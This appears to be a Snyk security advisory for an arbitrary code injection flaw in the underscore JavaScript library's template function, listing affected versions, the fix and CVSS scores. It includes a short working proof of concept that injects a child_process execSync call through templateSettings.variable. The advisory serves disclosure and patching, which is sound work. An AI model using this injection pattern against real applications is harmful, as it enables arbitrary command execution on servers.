Arbitrary Code Injection Affecting underscore package, versions >=1.13.0-0 <1.13.0-2 >=1.3.2 <1.12.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.53% (88th percentile)

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  • Snyk ID SNYK-JS-UNDERSCORE-1080984
  • published 29 Mar 2021
  • disclosed 2 Mar 2021
  • credit Alessio Della Libera (@d3lla)

How to fix?

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

CVSS Scores

version 3.1
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Snyk

Recommended
5.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    Low
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NVD

7.2 high
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Red Hat

7.2 high